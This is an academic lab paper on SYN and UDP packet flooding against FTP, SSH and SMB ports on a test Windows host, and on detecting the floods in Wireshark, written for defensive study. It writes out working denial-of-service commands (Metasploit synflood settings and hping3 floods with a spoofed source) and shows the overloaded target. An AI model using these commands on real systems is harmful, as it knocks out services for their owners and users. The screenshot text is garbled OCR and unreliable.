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ABSTRACT: This scientific paper investigates the effects of network packet flooding on
FTP (port 21) and SSH (port 22) protocols, aiming to reveal and document anomalies in
server behavior under high-load conditions. By simulating packet flooding in a controlled lab
environment, an analysis on vulnerabilities and anomalies unique to each protocol is
conducted in order to the improve defensive capabilities. The results provide guidance on best
practices to secure FTP and OpenSSH services against malicious traffic, such as Distributed
Denial of Service (DDoS) attacks, supporting wider network security strategies.
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1. Introduction

In network security, understanding how servers respond to unusual or
excessive traffic loads is essential for developing strong defensive measures.
This scientific paper explores the effect of network packet flooding
[5,6,8,36,40,41], which simulates scenarios that may occur in a DDoS attack or
high-traffic environment, focusing on FTP and OpenSSH services. The FTP and
OpenSSH protocols are commonly employed for transferring files and enabling
secure remote access [1,2,5,6,7,8,20,25,33,34,35,40,41].

The scientific aims are to observe and record anomalies in FTP and
OpenSSH server behavior under packet flooding and to detect how anomalies
present in server responses to stress conditions, thereby revealing weak places,
vulnerabilities and strengthening protective measures. Packet flooding is a
technique involving the transmission of a large volume of packets to a target
server to push its resources to their capacity. The network anomalies that arise
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from such flooding can include response delays, packet loss and service outages,
all of which are important indicators of a server's resilience [12,16,21,22,23,24].

The conducted experiments in this scientific paper that aim to reveal some
important and confidential information by network packet flooding without the
host's permission is considered as a crime and, if proven, is punishable to the
full extent of the law of the respective country [5,6]. Everything illustrated and
explained in this scientific paper is for research work and educational purposes
and the author is not responsible in cases of abuse.

2. Related work

This section reviews key concepts related to packet flooding and common
anomalies in FTP and OpenSSH [1,2,3,5,6,7,8,10,11,12,16,17,18]. Relevant
literature on DoS, DDoS cyber-attacks, FTP and SSH protocol vulnerabilities,
and known protective measures will be approached [21,22,23,24,25,28,29,30].

These scientific works [32,33,34,35,36,37,40,41] collectively explore
various aspects of revealing anomalies by network packet flooding on FTP and
SSH protocols.

Revealing anomalies by network packet flooding is also used in application
of electronic platforms [26], various types of instrumental equipment for
cyberattack prevention [20], specific models for accessing information resources
in a secure environment and other technologies [19], net model of command and
control system [14], building data center system for defense and security [13],
designing and implementation of software-defined systems [15], information
exchange management in multimodule multi-position security systems [9],
applications of Artificial Intelligence in e-Learning [27], information systems
for crisis prevention [31], performance analysis of a mobile computer equipped
with solid state disk [39], modeling and calculation of passive audio crossovers
[38] and designing of stream ciphers based on random feedback shift registers

[4].

3. Experiment

The scientific experiments in this paper in a specialized computer network
laboratory in the Faculty of Technical Sciences of the Konstantin Preslavsky
University of Shumen are made. The used operating systems are Windows 10
Pro x64 version 22H2, OS build: 19045.4355 and Kali Linux (Linux pesho
6.0.0-kali6-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.12-1kalil
x86_64 GNU/Linux) [5,6].

The study will be conducted in a controlled lab environment to avoid the
risk of illegal activity and to maintain safe practices. The main setup includes
building FTP and OpenSSH servers on Windows based operating system,
platforms for observing network performance and controlled packet flooding
simulating DDoS cyber-attack in the operating system Kali Linux [5,6].
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The first step to create a ftp Server is to install the necessary packages from
the menu - ,Control Panel—All Control Panel Items—Programs and
Features—Turn Windows features on or off”. The necessary features that must
be checked are “Internet Information Services” and “Internet Information
Services Hostable Web Core”. The following is a process of installing all
necessary features. This is presented in fig. 1. The IPv4 address is set to
192.168.80.129 with ftp port 21 (shown in fig. 2). The site name of the FTP
server is configured as “pesho ftp” with the physical path is set to
“C:\Users\pesho\Desktop\pesho ftp” (shown in fig. 3). The authentication and
authorization settings in fig. 4 are shown. Fig. 5 illustrates the already installed
FTP server.

Guarded Host
Hyper-V
Internet Explorer 11
[m] nternet Informatio
FTP Extensibility
FTP Service
= Web Management Tools
115 6 Management Compatibility
115 Management Console
115 Management Scripts and Teols
115 Management Service
= M | World Wide Web Services
Application Development Features
Cemmen HTTP Features
®] | Health and Diagnostics
m] | Performance Features
®] | Security
Internet Information Services Hostable Web Core

LI Legacy Components
Al Bdadiz Faaturar ¥

Cancel
Fig. 1. The selected features for installing a FTP server

Services

Add FTP Site ? X
g Binding and SSL Settings

Binding

IP Address: Port:

1192.168.80,129 v F ||

[ Enable Virtual Hest Names:

Start FTP site autematically

Fig. 2. The binding settings of the FTP server
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Add FTP Site ? X

Site Information

ETP site name:

|peshu:u_f'tp|

Content Directory

Physical path:
‘C:\Users\peshn\Deslctop\peshn_ftp ‘

Fig. 3. Configured FTP site name and content directory

Add FTP Site T =

q Authentication and Authorization Information

Authentication
I Anonymous I
[] Basic

Authorization

Allow agcess to:

AHOI"I)"I'T'IOUS Users i

Permissions

Read

[] Write

Fig. 4. Authentication and authorization settings

€3 Intemet Information Services (IIS) Manager - a X
& | @ » DESKTOP-282F9GC » Sites b peshoftp * @~ @-
File View Help
C - — Acti
: esho_ftp Home
b e P 1P W Explore
83 X - = ] i
v & DESKTOPI ZSIEFQGC (DESKTOP-282F9GC\pesha) Filter - WGo + % Show All | Group by: Area . . Edit Permissions...
.;’ Application Pools -
= FTP N Edit Site
w8 Sites Bindi
U Nefaud Web S . . . indings...
: 0 te _{‘& w"=\ o h = D Basic Settings
LD pesho_ftp [ElFTe) FTP) wFTe) sic 2etlings...
FTP FTP FTP Current FTP Directory FTP Firewall FTPIP Vi plications
Authentic... Authorizat..  Sessions Erowsing Support  Address a... . T
B o View Virtual Directories
i an ) Manage FTP Site
FTP Logging FTP FTP Request ~ FTP 55L FTP User Restart
Messages Filtering Settings Isolation Start
Management A Stop
D Advanced Settings...
Configurat.., @ L
Editor

Fig. 5. The installed FTP server
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The uploaded files to the FTP server in fig. 6 are shown.

E\j Internet Information Services (IIS) Manager - O

&« @b DESKTOPR-282F9GC » Sites » peshoftp » 1) | '@"

File  View Help

Connections - Actions

@ pesho_ftp Content

@ ‘pesho_ftp’ Tasks
Site

v -85 DESKTOP-282F3GC (DESKTOP-282F3GChpesho)

| o Filter: v Go - gy ShowAll | Group by: No Grouping
iz} Application Pools
v &) Sites MName Type
WS P ATTAN S B[ T22408-%64.exe Application 4 Explore
@ pesho_ftp 15| NDP481-DevPack-ENU.exe Application
1= npp.8.7.Installer x64.exe Application

X Remove
Manage FTP Site £

Fig. 6. The uploaded files to the FTP server

To verify that the FTP server is working, it is necessary to open a
command-line terminal in Windows in which the “ftp” command must be
entered in order to attempt a network connection to the FTP server. After that
the IPv4 address 192.168.80.129 must be written to gain access to the server.
Finally, the command “dir” shows the whole content of the FTP server. All
these steps in fig. 7 are presented.

@8 Administrator: Command Prompt - ftp - O e

Fig. 7. Successfully login to the FTP server with IPv4 - 192.168.80.129
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The installation configuration of the OpenSSH server from the following
menu - “Apps and features”—"’Optional features” is carried out. After the server
IS installed, it is necessary the command-line terminal again to be opened in
order to be entered the following commands “cd OpenSSH” and “ssh
192.168.80.129. The command “dir”” shows the whole content of the OpenSSH
server and the command “exit” serves to terminate the network session to this
SSH server (showin in fig. 9).

@ Adminitrator, C\ Windows\system32\conhost exe - 0 X

Microsoft Windows [Version 18.8.19844,1288]
(c) Microsoft Corporation. ALL rights reserved.

C:\Windows\system32pcd OpenSSH

C:\Windows\Systen3? Dpen ssh 192.168.86.129
i 129" pas ~Hu1d

Microsoft hlndull’ [\IEI sion 16.6.19844,1288]

(c) Hln rosoft 1urpur#1ur| ALL rights reserved.

10/23/2024 03:53 MM <DIR> Desktop

2! B‘ 2P <DIR Documents
24 18PN <DIR Downloads
22 0319 A <DIR Favorites
22 019 A <(DIR Links
22 03:19 0 <DIR Music
22 03:33 A0 <DIRY OneDrive
22 03:22 M <(DIR Pictures
22 0319 A <DIR Saved Games
22 02 M QIR Searches
(2022 01:38 A <DIR> Videos
B File(s) 8 bytes
16 Dir(s) 167,829,565,440 bytes free

peshoDESKTOP-282F96C C:\Users\pesho),

Fig. 8. Successfully login to the OpenSSH server with IPv4 - 192.168.80.129
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ﬂAdministrator:CommandF‘rompt - 0 ¥

Pictures
Saved Games
Searches

1:38 AW Videos

0 File(s) B bytes

16 Dir(s) 167,829,565,440 bytes free

pesho@DESKTOP-282F9GC |C: \Users\peshoxcd .. /..
pESi‘uj[i_ilDESHTDP-EE' 0GC| C:\»dir

Volume in drive C has no label.

Volume Serial Number is D418-E1D9

Directory of C:\

81:56 P <DIR> inetpub

19 12:14 M <DIR Perflogs
e1:34 PN <DIR> Program Files
eL:28 PN <DIR Program Files (x86)
82:30 PM  <DIR> Users
4 02:21 PN <DIR> Windows
7108/2022 02:19 AN <{DIR>
0 File(s)

Connection to 10

C: \Windows\Systen32\0penSSH>

Fig. 9. Termination the network connection to the OpenSSH server

In this scientific paper, the attacking host is running the Kali Linux
operating system and its IP address through the "ip addr" command is revealed.
This is shown in fig. 10. The next task before simulating a packet network flood
[1,2,5,6,33,35,8,36,39,40,41] is performing a port scan with the software
network scanner Nmap on the victim host (192.168.80.129). The network scan
by the command “nmap -p 21,22 192.168.80.129” is performed. After the
network scan was done, it was found that two ports are open. Accordingly, port
21 is responsible for the FTP protocol, and port 22 by the SSH protocol is used.
All these steps in fig. 11 are presented.
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<LOOPBACK, UP, LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default glen 1000
1ink/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 8 scope host 1o

valid_1ft forever preferred_Ift forever
inet6 ::1/128 scope host

valid_1ft forever preferred_1ft forever
. <BROADCAST , MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fg_codel state UP group default glen 1600
link/ether 00:0c:29:54:56:6f brd ff:ff:ff:ff:ff:ff
inet {14 brd scope global dynamic noprefixroute ethd
valid_Ltt 1218sec preferred 1ft 1218sec
ineth /64 scope link noprefixroute
valid 1ft forever preferred 1ft forever

Fig. 10. The IPv4 address of the attacking host (192.168.80.132)

~

) 21,22 192.168.80.129
Grarting=Nnap=7-99=t=httpseiameprorg ) at 2024-10-23 15:44 EEST
Nmap scan report for 192.168.80.129
Host is up (0.00058s latency).

PORT  STATF SFRVTCF

21/tcp open ftp

22/tcp open ssh

MAC AROUTESS: 00 UC 29:36:32: A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds

Fig. 11. The detected two open network ports

One of the most popular platforms for generating network packet is
Metasploit. For the purposes of the scientific research the auxiliary module
“dos/tcp/synflood” [11,12,29,40,41] is used. This aims to flood
[1,5,8,21,25,29,32,33,36,40,41] only with activated TCP SYN flag the other
host. Accordingly, the network packet flood settings are the following:

- The IPv4 address of the victim host is set to 192.168.80.129 (Windows

machine).
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- The IPv4 address of the attacking host is set to 192.168.80.132 (Linux
machine).
- The network port that will be flooded with packets is set to 21 (FTP).

After all the settings are done, the ,,exploit” command is written to start the
packet flooding on port 21 (FTP protocol). All these steps in fig. 12 are shown.

o root@pesho: ~
File Actions Edit View Help

msf6 auxiliary( ) > set RHOST 192.168.80.129
RHOST = 192.168.80.129
msf6 auxiliary( ) > set PORT 21

Unknown datastore option: PORT. Did you mean SPORT?
msf6 auxiliary( ) 1> set RPORT 21
RPORT = 21
msf6 auxiliary( ) >iset SHOST 192.168.80.132
SHOST = 192.168.80.132
msf6 auxiliary( ) » exploit

Running module against 192.168.80.129

SYN flooding 192.168.80.129:21...

"C/ | Stopping running against current target...
Control-C again to force quit all targets.
Auxiliary module execution completed

msf6 auxiliary( ) > |l

Fig. 12. The network packet flood settings

The other packet emulation utility is Hping3 [5,11,12,29,35,36,37,40]. It is
a command-line utility and the command used for generating a packet flooding
is “hping3 -S 192.168.80.129 -a 192.168.80.132 -p 22 --flood -V”. This time the
traffic will be directed to port 22 (SSH protocol). This is shown in fig. 13.

~

-5 192.168.80.129 -a 192.168.80.132 -p 22
aS TG ey, dudr. 19210880, 132, WMTy. 1500
HPING 192.168.80.129 (eth® 192.168.80.129): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
o0

— 107 _1A8 8@ 120 bhnina ctatistic —
1 ~

9947028 packets transmitted, @ packets received, 100% packet loss
Auund-inp miu/uvs/moA - 3.6/0.0/0.0 ms

~

Fig. 13. Performing a packet flooding with Hping3 on port 22
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The third network port which will be scanned is 139 (SMB). This port is
responsible for the file sharing. The command “nmap -p 139 192.168.80.129” is
used [1,5,6,11,12,29,40,41] and the opened port in fig. 14 is presented. For
generating a packet flooding the following command “hping3 -2 -p 139 --flood
192.168.80.129 -V is used. This is illustrated in fig. 15.

~

) 139 192,168.80.129
Cf\wfing Nman..2.02. [ httnce/Inmap, org ) at 2024-10-23 16:17 EEST
Nmap scan report for 192.168.80.129
Host is up (0.00044s latency).

nnnT ('TATI' cCronuTrer

U e veitrave

139/tcp open netbios-ssn

ABAAANAE

MR HUUTes ST 00 0 29730 52 A0 (VMWare)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

Fig. 14. Performed Nmap scan on port 139

—

root@pesho: ~

File Actions Edit View Help

PORT STATE SERVICE
139/tcp open netbios-ssn
MAC Address: 00:0C:29:36:32:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

~

139 --flood 192.168.80.129

PR

UJ:LHS CIL;ICI, ClL;UlL- J.7L J.\.IC‘ C‘U 1.);, IHU lIvv

HPING 192.168.80.129 (eth0 192.168.80.129): udp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

€

— 192.168.80.129 hping statistic —
1613878 packets transmitted, @ packets received, 100% packet loss
rouRd=trip-ninfav g max-<~0+6/0.0/0.0 ms

~

Fig. 15. Performing a packet flooding with Hping3 on port 139
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4. Results

The network packet flooding on the victim host via the free of charge
network monitoring tool [5,6,11,12,29,40,41] Wireshark version 4.4.1 is
intercepted. The main purpose of the research is to reveal the anomaly network
traffic directed to ports 21, 22 and 139. Fig. 16 shows the successfully detected
packet flooding on port 21 generated from the attacking host 192.168.80.132.
Fig. 17 illustrates the detected packet flooding on port 22 and fig. 18 presents
the detected packed flooding on port 139.

(016 0RE Ves g IEEARATE

’I ool a ey it <Cik

Moo Time

§ 13,9285

15 13.9075%4

213 QIT79F
L‘"]' l.lu.'-‘.w'u‘.l

Crirre Mectinatinn

192.166.89.132

192.166.59.129

192.166.59.129

192,168,812

Drrtrnl |enet! [nfn

B8 45581 + 21 [RST] Seqel Hineh Len<d

60 3606 20 [1T) SegeL Hineh L

B0 63460 » 0 [1T) Seq=L Hineh L

68 12250 + 1. [RST] Segel Hineh Len<d
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N, Time Source Destination Pratocol Lengtl Info

> Frame 1: 6@ bytes on wire (480 bits), 6@ bytes captured (4808 bits) on inte @0 @c 29 36 32 a8 @0 ©c 29 54 56 6f @3
> Ethernet II, Src: VMware 54: Dst; 00 28 @0 0D 40 @0 48 06 13 7a cd ad 5@
> Internet Protocol Version 4, Sr .168.80. 29 56 81 12 37 88 16 4b le ed fe 6 0@ @0
GESE B8 @8 42 20 BB 00 BB B2 00 G0 00 a8

- R — - U S —

[I |Applya display filter .. <Ctrl-/>

Nao. Time gurce ProtocoIILengtI Info
46751 8.639627 uop 68 22754 4 139 fen=0
46752 8.639627 cpamai: uP 68 22755 4 139 fen=0
46753 8.639627 192.168.80.132 192.168.88.129 uop 68 22756 4 139 fen=0
46754 8.639627 192.168.88.132 192.168.88.129 uop 68 22757 4 139 fen=0
46755 B.639627 192.168.88.132 192.168.88.129 uop 68 22758 4 139 fen=0
46756 8.639627 192.168.30.132 192.168.30.129 uop 68 22759 4 139 fen=0
46757 8.639627 192.168.88.132 192.168.88.129 uop 68 22760 4 139 fen=0
46758 B.639627 192.168.88.132 192.168.88.129 uop 60 22761 4 139 fen=0
46759 8.654701 192.168.30.132 192.168.80.129 uP 68 22762 4 139 flen=0
46760 8.654701 192.168.80.132 192.168.88.129 uop 68 22763 4 139 fen=0
46761 8.654701 192.168.88.132 192.168.88.129 uop 60 22764 4 139 fen=0
46762 B.654701 192.168.88.132 192.168.88.129 uop 60 22765 4 139 fen=0
46763 8.654701 192.168.80.132 192.168.88.129 uop 68 22766 4 139 fen=0
46764 8.654781 192.168.88.132 192.168.88.129 uop 68 22767 4 139 fen=0
46765 B.654701 192.168.88.132 192.168.88.129 uop 60 22763 4 139 fen=0
46766 8.654701 192.168.30.132 192.168.80.129 uP 68 22769 4 139 fen=0
46767 8.654781 192.168.88.132 192.168.88.129 uop 68 22770 4 139 fen=0
46768 B.654701 192.168.88.132 192.168.88.129 uop 68 22771 4 139 fen=0
46769 8.654701 192.168.80.132 192.168.88.129 uop 60 22772 4 139 fen-0
46778 8.654701 192.168.80.132 192.168.88.129 uop 68 22773 4 139 fen=0
46771 8.654781 192.168.88.132 192.168.88.129 uop 68 22774 4 139 fen=0
46772 B.654701 192.168.88.132 192.168.88.129 uop 6 22775 4 139 fen-0
46773 8.654701 192.168.30.132 192.168.30.129 uop 68 22776 4 139 fen=0
46774 8.654781 192.168.88.132 192.168.88.129 uop 68 22777 - iFn:@
I

> Frame 1: 6@ bytes on wire (488 bits), 6@ bytes captured (480 bits) on inter|| 0000 88 Bc 29 36 32 a8 8@ Bc 29 54 56 6f @8 80 45 @0
> Ethernet II, Src: VMware 54:56:6T (@@:8c:29:54:56:6F), Dst: VMware 36:32:a8 | 7710 @@ 1c 3a bl 00 @@ 49 11 1d ca c@ ad 50 84 c@ a8
> Internet Protocol Version 4, Src: 192.1 : 192.168.80.129 0020 50 8L 52 84 09 8b €0 03 Ba 78 @0 00 0O 00 0 00
> User Datagram Protocol, Src Port: 21124.IDst Port: 139 I IED R A

Fig. 18. Detected packet flooding on port 139
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As a result of the performed packet flooding in controlled lab environment,
the CPU, Memory and Disk resources are totally overloaded which causes a
denial of service on the FTP and SSH services. This is shown in fig. 19.

152 Task Manager

Eile QOptions View
Processes Performance App history Startup Users Details  Services
~ 100% 91% 83%
Mame Status CPU Memorny Disk
Apps (13)
iﬁ:il 115 Manager 0% 1.6 MB 0 MB/s
& Microseft Edge (12) 16.4% 7r.1 mMB 2.6 MB/s
Microsoft Management Console 0% 1.5 MB 0 MB/s
2 Paint 0% 30.2 MB 0 MB/Ss
B rhotos 0% 41.4 MB 0 MB/s
E Settings (2) § 0% 0.1 MB 0 MB/Ss
i== Task Manager 799 17.7 MB 0 MB/s

Fig. 19. The overloaded resources

Fig. 20 shows statistics for the detected TCP error packets in 200 ms time
intervals. Fig. 21 shows the conversation settings between the hosts -
192.168.80.129 and 192.168.80.132 on port 22,

M Wireshark . 1/0 Graphs - EthernetO — O Y
- P

Wireshark I/O Graphs: Ethernet0

'V{/IRH‘W/ /RHH

200 ms Intervals
—— All Packets

B TP Errors

1 kpackets |

S _

100 packets

10 packets

1 packets

Packets/200 ms

100 mpackets

10 mpackets

1 mpackets
16:05:12.0 16:05:13.0 16:05:14.0
23.10.24 23.10.24 231024
Time (s)
Click to select packet 17355 (1720688714 .55 = F07).
Enabled Graph Name Display Filter Color Style Y Axis ¥ Field SMA Period k flal
TCP Errors tcp.analysis.flags . Bar Packets MNone 1 o
£ >

Fig. 20. Statistics for the detected TCP error packets
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M \Wireshark - Conversations - Ethemetd - 0 X
Conversation Settings Ethemet:1 1.1 IR  TCP.16422 | UDP
e

Name resolution AddressA  PortA AddressB | PortB Packets  Bytes Stream D PacketsA—B BytesA—B PacketsB—A BytesB—A  AbsStart Durstion Bits/sA—B *
19216880132 | 48334 o2 680029 2 T fbytes 168403 T B0 bytes 0 0 bytes 16:05:14.868  0.0000
¥ Absolute stattime 192.168.80.132 | 48335 102.168.80.029) 2 T G0bytes 16404 T B0 bytes 0 0 bytes 16:05:14.868  0.0000
(] Limit to display filter 192.168.80.132 | 48336 [102.168.80.129) 2 T Gbyles 16405 T B0 bytes 0 0 bytes 16:05:14.868  0.0000
192.168.80.132 | 48337 192.168.80.029) 2 1 Gbyles 16408 T B0 bytes 0 0 bytes 16:05:14.868  0.0000
Copy . 192.168.80.132 | 48338 [102.168.80.129) 22 T Gbyles 16407 T B0 bytes 0 0 bytes 16:05:14.868  0.0000
192.168.80.132 | 43330 102.168.80.129) 22 1 Gbyles 16408 T B0 bytes 0 0 bytes 16:05:14.868  0.0000
Follow Stream... 19216880132 | 4830192 68.80.029) 2 T Gbytes 16409 1 B bytes 0 0 bytes 16:05:14.868  0.0000
19216880132 | 48341 no2.1es.B029) 2 T Glbytes 8410 T B bytes 0 0 bytes 16:05:14.868  0.0000
Graph.. 19216880132 | 43368 1021680020 2 T lbytes 8N 1 B bytes 0 0 bytes 16:05:14.868  0.0000
192.168.80.132 | 436002 680029 2 T Gbytes 16412 T G0 bytes 0 0 bytes 16:05:14.899  0.0000
Protocol Al ] 192.168.80.132 | 48870 [192.168.80.020 22 T fbytes 18413 T G0 bytes 0 0 bytes 16:05:14.899  0.0000
O  Bluetooth 19216880132 | 4887 o2 eB029) 2 T Gbytes 16414 T G0 bytes 0 0 bytes 16:05:14.899  0.0000
0 et 19216880132 | 482 o2 eB029) 2 T Gbytes 16415 T G0 bytes 0 0 bytes 16:05:14.899  0.0000
0 oce 192.168.80.132 | 4373 10216880029 2 T Gbytes 16418 T B0 bytes 0 0 bytes 16:05:14.899  0.0000
Fthemet 192.168.80.132 | 43374 102, 68.80.029) 2 T Glbytes 16417 T B0 bytes 0 0 bytes 16:05:14.899  0.0000
0 kK 192.168.80.132 | 4875 192.168.80.029) 2 T Gbytes 16418 T B0 bytes 0 0 bytes 16:05:14.899 0,000
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[ IEFFA154 || |192.168.80.132 | 48878 19216&30.129' a2 T lbytes 1842 1 B bytes 0 0 bytes 16:05:14.839  0.0000

v

b

Fig. 21. The conversation settings on port 22

The Recommendations for defending FTP and SSH services from network
packet flooding and similar network-based attacks may include the following
suggestions [1,2,16,17,22,28,5,6,11,12,29,40,41]:

- Implementing thresholds to manage incoming network traffic and filtering
abnormal traffic patterns.

- Deploying IDS and IPS solutions to detect and mitigate suspicious traffic
based on predefined rules and machine learning models.

- Strategies for optimizing resource allocation and using load balancers to
distribute traffic.

5. Conclusion

This scientific work illustrates the detection of network packet flooding on
ports 21, 22 and 139. The observations obtained from studying anomalies during
network packet flooding [8,36,40,41] can be applied to protect these specific
TCP network protocols. The early and rapid revealing anomalies by network
packet flooding on built FTP and SSH servers can protect some important and
confidential information of various organizations. In this context, the highly
advanced laboratories at the Faculty of Technical Sciences at Konstantin
Preslavsky University of Shumen provide significant opportunities for students
studying [5,6] "Communication and Information Systems", "Computer
Technologies in Automated Manufacturing™ and "Signal Security Systems and
Technologies" in order to acquire substantial theoretical and practical experience
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in process the revealing anomalies by network packet flooding on built FTP and
SSH servers in controlled lab environment [5,6].
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